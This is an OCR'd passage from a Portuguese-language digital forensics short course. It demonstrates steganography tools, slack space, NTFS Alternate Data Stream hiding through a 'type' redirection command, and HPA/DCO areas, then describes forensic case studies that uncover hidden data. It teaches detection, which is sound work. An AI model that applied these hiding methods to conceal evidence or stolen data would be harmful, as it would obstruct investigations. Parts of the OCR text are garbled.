Select host (carrier), secrets (file and textual note) to hide and Select schemes for secret file (pre-hiding) modulation, carrier access and
destination file (holding the secrets) to be created dissimulation technique
Carrier: |C:\esteganografia\rosto.bmp [ l Schemes
Secret: |C:\esteganografia\mensagem. txt | ‘ Modulation: ' No modulation v
Note: | DR == N
|Observacdes aguitcs | Access: | Sequential v
1
sl Dissimulation: | Single LSB -
Destination: C:\esteganoagrafia\rosto2.bmp [ ‘
<<Back | | (¥Exeaute
Dissimulate secret information Hiding process terminated #1
(a) Escolha do hospedeiro, arquivo a ser (b) Escolha da técnica LSB simples.

escondido e arquivo destino.

Figura 1.19. Aplicacao da técnica LSB (os botdes “Hide” e “Reveal” foram retirados das
Figuras para melhor visualizacao)

Em algumas situagdes o arquivo gerado possui tamanho diferente do original,
mas o ideal é que o tamanho seja 0 mesmo. Apds o exemplo mostrado na Figura 1.19,
verificou-se o tamanho dos arquivos (Figura 1.20) e pdode-se verificar que os horarios de
ultima modificacdo estdo diferentes, porém o tamanho dos dois arquivos (rosto.bmp e
rosto2.bmp) é o mesmo. Ou seja, 25 bytes foram inseridos no arquivo hospedeiro,
gerando um novo arquivo com o mesmo tamanho. Os dois arquivos de imagem sdo
mostrados na Figura 1.21 para que seja possivel a comparacgdo.

B C:\Windows\system32\cmd.exe -0l x|

C:\esteganografia>dir
0 volume na unidade C é 0S8
0 Nimero de Série do Uolume é

Pasta de C:\esteganografia

12,89,2813 04:64 <DIR>
12,09,2013 04:04 <DIR>

12,/09/2013 04:83 25 mensagem.txt
A3:55 2.632.374 rosto.bmp
A4:87 2.632.374 rosto2.bmp
3 arquivo(s> 5.264.773 bhytes
2 pastads> 8.879.906.816 bhytes disponiveis

rafia’>

Figura 1.20. Verificacao do tamanho dos arquivos
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(a) Arquivo rosto.bmp. (b) Arquivo rosto2.bmp.

Figura 1.21. Comparacao visual dos dois arquivos

Ainda utilizando o software Hide & Reveal, para revelar o que foi escondido, o
usudrio deve clicar no botdo “Reveal”, escolher o arquivo rosto2.bmp e a técnica
utilizada (LSB simples). Este procedimento e o resultado sdo mostrados nas Figuras

1.22e1.23.

/| Hide & Reveal =

-
ava

Reveal process - Step 1
Select host (carrier) containing secret information and choose the
revealed file (in ZIP format) to be created

Carrier: C:\esteganografia\rosto2.bmp l

Secret: C:\esteganografia\revelacao-rosto2.bmp.zip

Reveal hidden information

2| Hide & Reveal

=)= (==

’
Ol

Reveal process - Step 2

Select schemes for secret file modulation, carrier access and the
dissimulation technique. Each scheme must be identical to the scheme
selected for the hiding process

Schemes
Modulation: | No modulation v
Access: Sequential -
Dissimulation: | Single LSB v
<< Back l [ ‘2Execute :

Revealing process terminated #1

(a) Escolha do arquivo que contém dados
escondidos e arquivo destino.

(b) Escolha da técnica LSB simples (mesma
utilizada para esconder).

Figura 1.22. Revelacao da esteganografia (os botdes “Hide” e “Reveal” foram retirados
das Figuras para melhor visualizacgao)
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"I mensagem.tt - Bloco ... [ = | = |[ 52 | | | notext - Bloco... [= |[ & |[ 52|

Arquive Editar Formatar Exibir Arquivo Editar Formatar Exibir
Ajuda Ajuda
Teste com o Hide & Reveal + | Observacoes aqui... -

- -

Figura 1.23. Arquivos revelados (o arquivo escondido e o que foi preenchido no campo
“Note”), apés terem sido descompactados do arquivo revelacao-rosto2.bmp.zip

Além do software Hide & Reveal, existem diversos softwares que podem ser
utilizados para esconder informacgdes dentro de arquivos: SilentEye, OpenPuff ou
StegHide. A Figura 1.24 apresenta telas do software SilentEye para a versdo Mac OS X.
A Figura 1.24.a apresenta a foto antes de ter o conteido alterado com a mensagem
escondida. A Figura 1.24.b mostra a foto ja com a mensagem escondida e criptografada.
O SilentEye permite que a mensagem criptografe a mensagem (ou arquivo) que serd
escondida na foto utilizando o algoritmo AES com chave de 128 ou 256 bits (ndo
recomenda-se utilizar 128 bits, pois sua quebra pode ser atingida sem muita dificuldade
atualmente). A Figura 1.24.c apresenta as op¢des para esconder uma mensagem (ou
arquivo) na foto selecionada. A mensagem pode ser escondida com ou sem Criptografia.

& SilentEye & SilentEye

= o =
-
Decode Property - Encode Decode Property
pC— = =0

a) Foto que conterd mensagem escondida. b) Foto com a mensagem escondida.
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W Encode message : /Users/ave/Desktop/Gabriela.JPG
Media's encoding format: | JPEG v l}}
Options
- - a
Luminance interval (k) ~ 5 |+
: a
JPEG quality 75% [+
Header position bottom )
Passphrase [ ] show
Destination :  /Users/ave/ E}.
\L‘ use this location as default
Write a message or select a file to hide. 34745 | 34987 octets available
Este texto serd escondido na foto Gabriela jpeg. E um exemplo de como podemos esconder
uma mensagem em uma foto utilizando Estegancgrafia. Além de esconder, também serd
utilizada Criptografia antes de esconder a mensagem, assim mesmo que alguém identifigue
que existe uma mensagem escondida na foto teré que quebrar a Criptografia para conseguir
er @ mensagem. Neste exemplo utilizande o AZS256 para criptografar a mensagem. /
OR i
no file selected
~
&y Type | aesese il Koy | essssses sesssnee
CharSet: | UTF8 = a 1\_/\ Enable encryption \\_/\ Compress data Q Cancel | | &, Encode

c) Mensagem que sera criptografada e escondida na foto
FIGURA 1.24. Telas do software SilentEye

Outro exemplo de software para esconder informacdes € o OpenPuff. A Figura
1.25 mostra duas telas do OpenPuff na versao Windows, mas executado sobre o Mac
OS X com o software Wine. A Figura 1.25.a apresenta a tela inicial do OpenPuff e a
Figura 1.25.b apresenta a tela com as op¢des do OpenPuff para esconder informagdes
em um determinado arquivo. O OpenPuff € um exemplo de software que além de
esconder informacdes, permite esconder marcas em um determinado arquivo. Assim, se
alguém suspeitar que informacdes estdo sendo repassadas para pessoas ndo autorizadas,
o detentor da informacdo pode utilizar Esteganografia para colocar marcas em diversos
arquivos com o mesmo conteudo e enviar os arquivos (cada um com uma marca
diferente, que possa identificar para quem foi enviado o arquivo) para diversas pessoas.
Caso algum dos arquivos seja repassado para alguém, entdo € possivel identificar quem
fol que repassou a informacao ser ter autorizagao.
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%| OpenPuff v4.00 - Steganography & Marking

~ Steganography
Q*e i
Q; Hide : I“\‘ Unhide
— Volatile marking & Carrier clean up

L SetMark ;?; CheckMark 2 CleanUp

— Help & Options
~ CpuTot: 4

W Home Hel
@ —‘ (7 —DI Threads: 4

a) Tela inicial do OpenPuff.

X| OpenPuff v4.00 - Data Hiding

— (1) Insert 3 uncorrelated data passwords (Min: 8, Max: 32) ——— (2) Data (Max: 256Mb)
Cryptography (4 I (B) | Target IZ:\Users\ave\Desktop\esconder.txt Browse I
Scrambling  (C) [ Enable®) ¥ © ™ Size [ 10+ name(12) + data(22) butes

Passwords check HiA, BIH(A, CIHIB, C) =1 45%, 44%, 38% }

H(X,Y) = Hamming distance (X ](Y ] >= 25%

(4) Bit selection options

(3) Carrier selection [Order sensitive]
[Mame) Sort by hame / (Butes) Sort by bytes Shuffle | Clear |

Name Bytes Chain Order
N Gabriela JPG # 00000

:‘!]F'df[F )
N Png (Image

[-) Move up selected / (+) Move down selected / [Del) Delete selected

add | selected/Total EPEETY | Resetoptions | AddDecoy | HideDatal

b) Tela do OpenPuff para ocultar um arquivo (esconder.txt) no arquivo Gabriela.jpg.

Figura 1.25. Telas do software OpenPuff
Slackering

Slack area ou slack space sao termos ainda sem uma defini¢do apropriada na
lingua portuguesa e identificam areas onde € possivel ocultar informagdes com base nas
caracteristicas operacionais dos sistemas de arquivos utilizados em dispositivos de
armazenamento [Carrier 2005]. Sistemas de arquivos definem a metodologia de
armazenar e organizar arquivos de forma a habilitar o seu acesso quando necessario.
Sistemas de arquivos utilizam dispositivos de armazenamento, tais como discos rigidos
ou midias Opticas, e administram a manutenc¢ao da localizagdo fisica dos dados [Berghel
et al. 2008].
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Os sistemas de arquivos mais comuns sdo fundamentados em dispositivos que
habilitam o acesso a blocos de tamanho fixo, usualmente chamados de setores. O
sistema de arquivos € responsdvel por organizar conjuntos de setores em arquivos €
diretdrios e controlar quais setores pertencem a um arquivo € quais ndo estdo sendo
utilizados. A maioria dos sistemas de arquivos endereca dados em unidades de tamanho
fixo, chamadas clusters ou blocks, que contém um numero fixo de setores. O cluster (ou
bloco) é a menor drea em um disco que pode ser alocada para armazenar um arquivo
[Carrier 2005].

A seguir € apresentado um estudo realizado em um dos sistemas de arquivos
disponiveis, o NTFS (New Tecnology File System), e as suas conclusdes podem ser
portadas para praticamente todos os sistemas de arquivos. O NTFS € proprietario
(Microsoft) e € utilizado por diferentes versdes do sistema operacional Windows.
Administra setores individuais de 512 bytes, agrupa setores em clusters (chamados de
unidades de alocag@o) para reduzir o tamanho da MFT (Master File Table) e para
minimizar a fragmentagdo dos arquivos [TECHNET 2003].

Nas primeiras versoes do Windows NT, o NTFS podia definir clusters de até
64KiB, entretanto, a partir do Windows 2000, o tamanho pode variar conforme o
tamanho da parti¢do até um méaximo de 4KiB. Em um sistema de arquivos NTFS com
tamanho de cluster de 4KiB, um arquivo de apenas 1KiB ocupa a édrea de 4KiB na
unidade de armazenamento [Carrier 2005].

Esta caracteristica do NTFS, e dos sistemas de arquivos em geral, orienta a
definicdo de slack area: o espaco existente entre o fim do arquivo e o fim do cluster
onde ele esta armazenado. Também chamada de file slack, a slack area é natural porque
dificilmente dados armazenados sdo do tamanho exato do espaco alocado. Em forense
digital, a slack area é importante porque pode manter dados significativos nas areas
residuais que ocorrem quando um arquivo menor € escrito sobre um arquivo maior
[Berghel et al. 2008].

Uma verificacdo simples foi realizada no disco de um notebook de um dos
autores deste capitulo, com o software Disk Slack Checker, desenvolvido por Karen
Kenworthy". A Figura 1.26 mostra o resultado, onde € possivel constatar que em uma
particio NTFS com tamanho de cluster de 4KiB e capacidade de armazenamento de
132,41GiB, hd 257.571 arquivos que alocam o espago de 122,58GiB, porém utilizam
122,06GiB. Ou seja, a slack area representa 533,16MiB, cerca de 0,42% do que foi
alocado pelo sistema de arquivos.

" Disponivel em <http://www karenware.com>, acesso em Ago. 2013.
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m Karen's Disk Slack Checker E=3|EcE|E>=)

Done Check Slack
Drive D: 100,00% complete
All Drives 100,00% complete

Drive Status Type | File System | Cluster Size | Drive Size Files | Folders Free | Allocated Used Slack
400KB 13241GB 257571 46333 951GB 12258GB 12206 GB 533,16 MB
DA\ Ready  Fixed NTFS 4,00KB 798GB 11758 2716 1,16GB 6,79 GB 6,78 GB 8,27 MB
O E) Not Ready
O R Not Ready
O e\ Not Ready

| Copyto Clipboard | | Refresh Drive List | | Aout.. || Ext
Done 100,00% [100,00% [31/08/2013 | 17:49

Figura 1.26 Verificacao de slack area com o software Disk Slack Checker (diversas
colunas foram suprimidas para melhor visualizacdo)

ADS (Alternate Data Stream)

O Alternate Data Stream (ADS) € uma caracteristica do NTFS concebida para
permitir a compatibilidade com o sistema de arquivos HFS (Hierarchical File System)
utilizado pela Apple [Means 2003]. ADS € a habilidade de distribuir um arquivo de
dados entre outros arquivos existentes, sem afetar tamanho, funcionalidade ou maneira
com que esses arquivos sdo tratados por utilitarios tradicionais como, por exemplo, o
Windows Explorer. O ADS existe em todas as versdes do NTFES e € utilizado por
inimeros programas, incluindo alguns nativos do sistema operacional Windows, para
armazenar atributos de arquivos ou informagdes temporarias [Zadjmool 2004].

O uso do ADS € extremamente simples e ndo requer um perfil técnico avancado.
Comandos simples do MS-DOS', como o “type”, utilizados em conjunto com
indicadores de redirecionamento [>] e dois pontos [:] ativam o ADS e ocultam um
arquivo em outro.

Um exemplo € mostrado na Figura 1.27, com a ocultacdo de um arquivo de texto
em um arquivo executavel (editor de texto WordPad). Como pode ser visualizado, ha
um arquivo denominado “confidencial.txt” na pasta “C:\dados” com tamanho 7.027
bytes. Na pasta “D:\ADS” existe apenas um arquivo executavel (trata-se do editor de
textos WordPad - write.exe) com tamanho 10.240 bytes. Antes da ocultacdo do arquivo
havia 1.242.824.704 bytes disponiveis na unidade D: e, apos a ocultacdo, 1.242.624.000
bytes disponiveis. Ou seja, o sistema mostra apenas o arquivo executdvel, com o seu
tamanho original, porém a quantidade de bytes disponiveis na unidade D: diminuiu
200.704 bytes. Apos tal experimento, o proprio editor WordPad foi executado para
visualizar o arquivo de texto ocultado nele. O resultado da execugdo € mostrado na
Figura 1.28.

' Apesar do MS-DOS ser um sistema antigo, ainda existem muitos computadores com o MS-DOS
instalado, ou mesmo emuladores de MS-DOS sendo utilizados.
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Administrador: C;\Windows\System32\cmd.exe (=] 3

D:\ADS >dir c:\dados\confidencial.txt
0 volume na unidade C é 0S8
0 Nimero de Série do Uolume é

Pasta de c:\dados

1,88,2813 20:00 7.827 confidencial.txt
1 arquivod(s> ?7.827 hytes
B pastads) 10.677.497.856 hytes disponiveis

D:\ADS >dir
0 volume na unidade D é RECOUERY
0 Ndamero de Série do Uolume é

Pasta de D:\ADS

28:03 <DIR>
28:03 <DIR> W
18:44 10.2408 uwrite.exe
1 arquivod(s) 16.240 hytes

2 pastads) 1.242.824.704 hytes disponiveis

D:\ADS >type c:\dados\confidencial.txt > write.exe:confidencial.txt

D:\ADS >dir
0 volume na unidade D é RECOUERY
0 Nimero de Série do Uolume é

Pasta de D:\ADS
1,88,2013 20:83 <DIR> -
20:03 <DIR> avu
1,88,2813 20:04 10.240 write.exe
1 arquivo(s) 16.240 hytes
2 pastads> 1.242.624.008 hytes disponiveis
D:\ADS Durite.exe write.exe:confidencial.txt

D:\ADS>_

Figura 1.27. Ocultacdo de um arquivo de texto em um arquivo executavel

£) write.exe:confidencial.txt - WordPad o & ==
Arquivo Editar Exibir Inserir Formatar Ajuda
el & A B &

Este arquivo possui informagdes confidenciais!!!!
1) E um prazer apresentar este minicurso no SBSeg 2013!

2) Se gostaram e quiserem mais informagdes sobre pericia digital,
podem seguir @PeritoEvandro

3) Também podem enviar e-mail para evandro.pereira@pucrs.br
O SBSeg 2013 estéd demais!
Grande abrago!

Continua... -

Para obter ajuda, pressione F1

Figura 1.28. Resultado da execucéao “write.exe write.exe:confidencial.txt”

Arquivos ocultos pelo ADS sdo muito dificeis de detectar através do gerenciador
de arquivos como o Windows Explorer ou por linhas de comando. Como ja
mencionado, o tamanho arquivo write.exe continua 0 mesmo € a unica indicac¢do visual
disponivel pelos recursos nativos do sistema operacional € através da andlise de
modifica¢do de data/hora do arquivo investigado [Zadjmool 2004]. No caso da Figura
1.27, é possivel verificar que a ocultagdo ocorreu no mesmo dia, porém uma hora e
vinte minutos depois. Ou seja, o arquivo “write.exe” foi copiado de outro local para a
pasta “D:\ADS” as 18h44min e a ocultacdo ocorreu as 20h04min. Se esta técnica for
aplicada em um arquivo do sistema, € possivel identificar data/hordrios suspeitos, porém

se for um arquivo comum, ndo hd como ter esse tipo de desconfianca.
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Particoes Ocultas (HPA e DCO)

Host Protected Area (HPA) e Device ConFiguration Overlays (DCO) sdo areas
de armazenamento em discos rigidos ocultas pelo fabricante que podem ser exploradas
por procedimentos antiforense [Gupta et al. 2006]. As especificagcdes do HPA e DCO
definem a metodologia e os servigcos associados para gravar dados e/ou programas em
areas de discos rigidos, que normalmente ndo estdo disponiveis aos usudrios e atende
uma demanda dos fabricantes para facilitar o suporte aos seus produtos.

O HPA e o DCO foram desenvolvidos em funcdo do grande numero de
equipamentos sem defeitos que retornavam a fabrica como inoperantes. Ambos
contemplam implementacdes no firmware da BIOS que podem ser utilizadas para
executar rotinas de diagndsticos na unidade, cujo objetivo € determinar, com um alto
indice de confiabilidade, se o equipamento esta funcionando de forma apropriada. Estes
diagnosticos estdo armazenados em dareas protegidas do disco rigido, para reduzir a
possibilidade de contaminagdo por virus, corrup¢ao do software operacional ou mau uso
pelo operador do sistema [Berghel 2007].

O HPA ¢ definido como uma drea reservada no disco rigido, projetada para
armazenar informacdes de forma que ndo possam ser acessadas com 0s recursos usuais
da BIOS, do usudario ou do sistema operacional. Esta drea pode conter informacoes
sobre utilitarios do disco rigido, ferramentas de diagndstico e o cddigo de inicializagdo
do equipamento. Uma drea adicional disponivel nos equipamentos atuais € a DCO que
permite, aos fornecedores de sistemas, comprarem unidades de diferentes fabricantes
com tamanhos diferentes e conFigurar todos os discos rigidos com 0 mesmo numero de
setores para a padronizagdo de procedimentos. Um exemplo de utilizagdo do DCO pode
ser um disco de 80GB ser reconhecido como 60GB tanto pela BIOS como pelo sistema
operacional [Gupta et al. 2006].

Uma revisdo atenta as especificagdes do padrao ATA (Advanced Technology
Attachment) e desenvolvimentos recentes da comunidade de software livre indicam que
estas dreas (HPA e DCO) podem ser acessadas, modificadas e gravadas por utilitarios
disponiveis sem custo na Internet, possibilitando a ocultagdo de dados sigilosos
[Berghel et al. 2008].

A existéncia destas areas também aumenta consideravelmente o risco de que
programas de aquisi¢do de imagens ndo resultem em copias fidedignas dos discos
rigidos de origem e podem conduzir a conclusdes incompletas de analises forenses
[Gupta et al. 2006]. A protecao de segredos industriais de fabricantes de discos rigidos e
montadores de computadores também € um fator adicional de obscuridade para a andlise
destas areas como disponiveis para armazenamento de informacdes.

1.5 Estudos de Caso

Nesta secdo serdao apresentados quatro estudos de caso, sendo os dois primeiros
baseados em casos reais e noticiados na imprensa. Os demais sdo baseados em casos
reais conhecidos pelos autores (com os dados dos envolvidos preservados) ou criados
apenas para ilustrar as técnicas abordadas na Se¢do 1.4. Em todos os quatro foram
utilizadas técnicas Antiforense Digital.
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Primeiro Caso (Trafico de drogas)

Este caso sera descrito de acordo com as noticias mostradas em [FOLHA 2008],
[TERRA 2008] e [INFO 2008]. O traficante de drogas Juan Carlos Ramirez Abadia
utilizou a técnica de esteganografia para controlar as rotas do trafico de drogas e quem
deveria ser executado em casos de conflitos.

Agentes da Policia Federal teriam desconfiado da quantidade de imagens da
boneca Hello Kitty que o traficante teria em seu computador. Algumas fontes alegam
que havia cerca de duzentas e outras fontes alegam que haveria mais de duzentas
imagens e muitas delas foram enviadas por e-mail. Haveria também, fotografias de
criangas utilizadas como hospedeiras.

Com a ajuda da Agéncia Antidrogas dos Estados Unidos, a Policia Federal teria
descoberto o uso da Esteganografia e antes de esconder os arquivos nas imagens de
Hello Kitty, estes teriam sido criptogratados. Apés a quebra da Esteganografia e da
Criptografia, foram descobertos arquivos de texto e de audio com o conteudo ja
mencionado.

Pelo que podde ser observado, houve a desconfiangca sobre o uso de
esteganografia apenas porque foram utilizadas como hospedeiras imagens da boneca
Hello Kitty. Em casos como este, € de extrema importancia o papel da investigagdo que
pode ajudar o perito, informando detalhes obtidos durante escutas telefonicas,
conversas, depoimentos, etc. Um oficio bem detalhado € uma comunicacdo mais rica
com a pericia podem ser fundamentais em casos como este.

Segundo Caso (Lavagem de dinheiro)

Este caso sera descrito de acordo com as noticias mostradas em [G1 2010]. A
operacdo Satiagraha, da Policia Federal, apreendeu no apartamento do banqueiro Daniel
Dantas um computador portatil e seis unidades externas de discos rigidos (HDs). No
momento da andlise, os peritos constataram que os HDs estavam criptografados.

Segundo a assessoria de Dantas, foram utilizados dois softwares: o PGP e o
TrueCrypt, por motivo de suspeita de espionagem. O algoritmo utilizado seria o AES —
256 bits. As senhas utilizadas ndo foram informadas e os peritos da Policia Federal
criaram um diciondrio a partir de dados da investigacdo na tentativa de descoberta da
senha através de ataque de dicionario'’.

Apos cinco meses de tentativas, foi concedida autorizacdo judicial para envio
dos HDs para os Estados Unidos, para que o FBI tentasse quebrar a prote¢do
criptografica. O FBI teria empregado a mesma técnica de ataque de dicionario e passado
um ano informou que ndo obteve sucesso, devolvendo o material a Policia Federal.

AES com chave de 256 bits € um algoritmo forte, adotado como padrao
americano atualmente e, caso nao tenha sido utilizada uma senha fraca, levaria dezenas,
centenas, milhares ou até mesmo milhdes de anos para que se conseguisse descobrir a
senha através do ataque de forca bruta (ja que o ataque do diciondrio ndo obteve €xito).
Um detalhe a ser observado € que ndo existe legislagdo brasileira que obrigue o réu a
informar a senha, nem mesmo hd punicao caso ele se negue a informa-la.

7 Técnica de Criptoandlise (quebra de Criptografia) que se baseia na tentativa de busca de senha a partir
de um diciondrio de palavras conhecidas como possiveis senhas.
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Terceiro Caso (Pedofilia)

Sob a acusacdo de pedofilia, foi cumprido mandado de busca e apreensdo na
residéncia de Jodao da Silva Sauro. Foram apreendidos um notebook € uma unidade
externa de disco rigido (HD). Um detalhe que chamou a atenc@o € que o HD estava
dentro de um guarda-roupa, embaixo de uma pilha de roupas.

Para realizar a analise forense, o perito realizou cOpia bit a bit do HD encontrado
no notebook e do HD externo no mesmo caso. Comegou a etapa de exame com busca
por palavras-chave relacionadas a pedofilia e arquivos excluidos. Diversas ocorréncias
foram retornadas da busca por palavras-chave, porém, todas fazendo referéncia a um
disco externo, denominado como unidade F: e rétulo “BACKHIDE” (tratava-se de um
sistema Windows instalado em um disco com uma tnica parti¢cdo, C:, e uma unidade de
DVD-RW, D:). Analisando o HD externo, era possivel verificar apenas uma particao,
com roétulo “BACKUP”, porém ocupava apenas cerca de 80% do disco, e o restante era
espaco ndo alocado por particdo. O conteudo binario do espaco ndo alocado por parti¢ao
€ mostrado na Figura 1.29.

2 AccessData FTK Imager 2.6.1.60 = | &3]
File View Mode Help
aa g dd =m ¥ @ ¢ 5 %% T
Evidence Tree X | |File List
E-€&) \W\PHYSICAL Name | Size | Type | Date Modi
[+ Partition 1

[ [T} . L
#-he  Unpartition

3d£680 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00|
3d£690 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

3df£6al {00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
3dféeb0 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
3d£6c0 |00 00 00 00 00 00 00 00-0C 00 00 00 00 00 00 00
3d£6d0 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
3df£6e0 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
3d£6£0 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
3d£700 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00

d i ' | 3d£710 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00
Properties % || 3d£720 |00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00| ~
Ry <[ T )
Pro...[ Cursor pos = 0; log sec = 0; phy sec = 3903858

Figura 1.29. Conteudo binario (notacao hexadecimal) da area nao alocada pela particao

Nao € comum um HD possuir cerca de 20% em area ndo alocada por parti¢ao e
totalmente “zerada”. Houve suspeita de aplicagdo de wiping, entao foi realizada busca
pela palavra-chave wipe e pelos softwares instalados no HD do notebook. Foram
encontradas diversas buscas no sitio Google sobre o assunto e um download do software
Puran Wipe Disk. Foi realizada busca por logs deste software, porém sem sucesso.
Entdo foram realizados testes do mesmo para verificar seu funcionamento (Figura 1.30).
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# Puran Wipe Disk € i o
Volume File System Total Space Free Space

0s (C:) NTFS 132.41GB 8.26 GB
[7] RECOVERY (D:) NTFS 7.98 GB 1.16 GB
[V] TESTE-WIPE (H:) FAT 980 MB 980 MB

Wipe Disk Free Space Wipe Entire Disk | 1Pass (Faster and secure enough) > ‘

3 Passes (Slower and more secure) I

|7 Passes (Extremely Secure and Slow)

Figura 1.30. Testes do software Puran Wipe Disk

Diante dos testes, foi possivel verificar que s6 havia op¢ao de gravar bits zero. A
Figura 1.31 mostra o conteudo do pendrive utilizado para teste, antes de depois de
aplicado o wiping.

A AccessData FTK Imager 2.6.1.60 [ol[&@]= ) AccessData FTK Imager 2.6.1.60 [o @3
File View Mode Help File View Mode Help
» »
aaag dE = mm @ 9 5 aaag dE = mm B 1
Evidence... * | File List X Evidence... X | [File List <
\\APHYSICALL Name Size | Type \WAPHYSICALL Name Size | Type
< 0 » < . »
179c1720 |41 1b 20 &d d2 a9 3b 64-18 11 bé =« 179¢1720 |00 00 00 00 00 00 00 00-00 00 00 =~
179c1730 |a0 e5 e6 89 16 e4 8f Ta-le 72 50 179c1730|00 00 00 00 00 00 00 00-00 00 00
179¢c1740 |£b 20 b2 4a e5 0b df b4-91 ea 00 179c1740 |00 00 00 00 00 00 00 00-00 00 00
179¢1750 |23 30 2c 90 10 bS5 a9 10-1f 19 2c 179¢1750 |00 00 00 00 00 00 00 00-00 00 00
179¢1760 |98 0d 37 la c& 92 14 05-81 1d 27 [ 179c1760 |00 00 00 00 00 00 00 00-00 00 00 [
179¢c1770 |a9 3d 4b a8 50 a7 ad bl-0Oe bS b4 179c1770|00 00 00 00 00 00 00 00-00 00 00
179c1780 (58 29 5d ee le 30 e2 7c-8a 85 51 179¢1780 |00 00 00 00 00 00 Q0 00-00 00 00
179¢c1790 |94 7f 6a 27 85 94 at 2i-fl1 a4 4de 179¢179%0 |00 00 00 00 00 00 Q0 00-00 00 00
179¢c17a0 |95 8c 14 cd 51 91 18 cb-20 71 b9 179c17a0 |00 00 00 00 00 00 00 00-00 00 00
<« [ml » |179c17b0 |33 88 31 84 b4 15 0f 76-94 52 56 ” m; » |179c17b0 |00 00 00 00 00 00 00 00-00 00 00
— 179¢17c0 |d0 Oe 51 4f 33 dé 92 48-97 08 Oe 179¢17c0 |00 00 00 00 00 00 00 00-00 00 00
Properties ” = - ' Properties > ‘ = =
P Cursor pos = 0; phy sec =0 pRe Cursor pos = 396105504; phy sec = 773643
For Help, press F1 | 4 For Help, press F1
(a) Antes de aplicar Wipe. (b) Depois de aplicar Wipe.

Figura 1.31. Conteudo do pendrive testado

Diante do que foi exposto, houve indicios da utilizagdo do software mostrado
para aplicacdo de wiping na area ndo alocada para particio do HD externo (cerca de
20%). Porém, ndo foram encontradas evidéncias. Neste caso, pode-se colocar no Laudo
Pericial o experimento realizado e indicios encontrados, mas sem uma conclusdo. Para
este caso, novas buscas foram realizadas com o foco voltado para a memdria virtual
(drea geralmente esquecida ou de pouco conhecimento de quem aplica wiping), onde
foram encontrados fragmentos de fotografias relacionados com o objetivo da pericia, os
quais foram anexados ao Laudo Pericial.

Quarto Caso (Estelionato)

Sob suspeita de clonagem de cartdes de débito e crédito, foi emitido mandado de
busca e apreensdo para a residéncia de Floriano Cunha Ambrdsio. A policia civil
cumpriu o mandado, recolheu um notebook, nao encontrando mais nenhuma midia ou
equipamento relacionado com informatica no local.
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Ap6s realizacdo de copia bit a bit, o perito comecou a realizar o exame, através
de buscas por palavras-chave e filtros por tipos de arquivos, com a inten¢do de localizar
dados bancdrios e pessoais (objetivo da pericia), sem sucesso. Entdo comecou a buscar
conteudo de e-mails, quando encontrou alguns fragmentos de e-mail em unidades de
disco ndo alocadas pelo sisttema de arquivos (conteudo excluido), enviados de
XXXXXXXXX @teste.com.br para fca@teste.com.br (“fca” supostamente s@o as iniciais de
Floriano Cunha Ambrésio).

(13

Um dos fragmentos tinha o seguinte trecho: “... os CDs serdo enviados por
motoboy, um por semana mais ou menos. Copia pro notebook daquele jeito,
escondendo...e depois quebra o CD e ndo coloque no lixo da sua casa! Nao deixe
rastros!...”. Diante deste fragmento de e-mail, surgiu a desconfianca de alguma técnica
para esconder informacdes.

Nao havia nenhum software de Criptografia ou Esteganografia instalado. O
sistema de arquivos utilizado nas duas particdes era NTFS. Entdo, o perito comecou a
analisar os nomes de pastas para ver se alguma poderia ser suspeita. Foi encontrada uma
pasta denominada “SDA” contendo oito arquivos de texto pequenos (totalizando apenas
60 bytes), sendo que cinco deles com horério de ultima modificagdo as Oh44min e trés
deles as 1h45min, e mesma data de modificacdo (Figura 1.32). O conteudo dos oito
arquivos foi visualizado (Figura 1.33) e, pela intui¢do do perito, havia algo no minimo
estranho.

BN C:\Windows\system32\CMD.exe 10| x|

C:\SDA>dir
0 volume na unidade C é 0S
0 Nimero de Série do Uolume é

Pasta de C:\SDA

12,/89.,2013 : 11 1.txt
H2,/09.,2013 : 11 2. txt
5 della.txt

4
6 evandro.txt
2 ola.txt

9 opa.txt
18 teste.txt
12,89,2813 7 vecchia.txt
8 arquivo(s) bytes

68 hy
2 pastads) 8.742.960.032 hytes disponiveis

Figura 1.32. Lista dos arquivos localizados em “C:\SDA”

J1itt-B.[= “J2.6¢ - Bloc..[ = | ] dellabt| | evandroxt - .. [ = || B |[ 82
ehhehehehhe | kkkkkkkkkkk | ola! legal! 2
T olabt| | opatxt -... “lltestett-..[ = | | vecchia.bdt - Bloco .. [ro|[-E)-] [se)
0 ] Edita . Arquive Editar Formatar Exibir
: Exit jjuda E A Ajuda
oi molezinha | hahahahaha | barbada 3

Figura 1.33. Conteudo dos oito arquivos localizados em “C:\SDA”

A suspeita do perito passou a ser o uso de ADS, por trés motivos: o fragmento
de e-mail ja mencionado, os hordrios de modificacdo e pouco conteudo armazenado nos
oito arquivos e por fim o nome da pasta (ADS invertido, ou seja, SDA). Ha um
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parametro para o comando DIR que mostra quando foi aplicado ADS, o “/r”. Como
mostra a Figura 1.34, foram encontrados trés arquivos escondidos, totalizando mais de
1,5 MiB. Estes arquivos foram visualizados com o editor de textos Write e constatou-se
que possuiam dados bancarios para utilizagdo em cartdes de débito e crédito (Figura

1.35).

BB C:A\Windows\system32\CMD.exe

IC:\SDA>dir /»
0 volume na unidade C é 0S
0 Nimero de Série do Uolume é

Pasta de C:\SDA

8a:
98:

43
43

459
698
12,/09/2813

12,09/2013
12,/09/2813

430.638
?

8 arquivod(s>

2 pastads) 8.

IC:\SDA>urite 1.txt:VUISA.txt
IC:\SDA>urite 2.txt:Banrisul.txt

IC:\SDA>urite teste.txt:BB.txt

11 1.txt
.132 1.txt:UISA.txt:5DATA
11 2.txt
.593 2.txt:Banrisul.txt:$DATA
4 della.txt
evandro.txt
ola.txt
opa.txt
teste.txt
teste.txt:BB
vecchia.txt
68 hytes
895.528.768 hytes disponiveis

6
2
9
18
.txt:$DATA

Figura 1.34. Visualizacao dos arquivos escondidos

E] teste.txt:BB.txt - WordPad =1 | O >
el Sk A B B
g~ Vel e Qe a3y 57 g 09 e 10 T 1200 1314180 1160 17 0 1B 10191 20 121 1022123 1 - 244
LG cC Cartdo(6) Internet(8) Chave Senha (8) Céd. acesso £
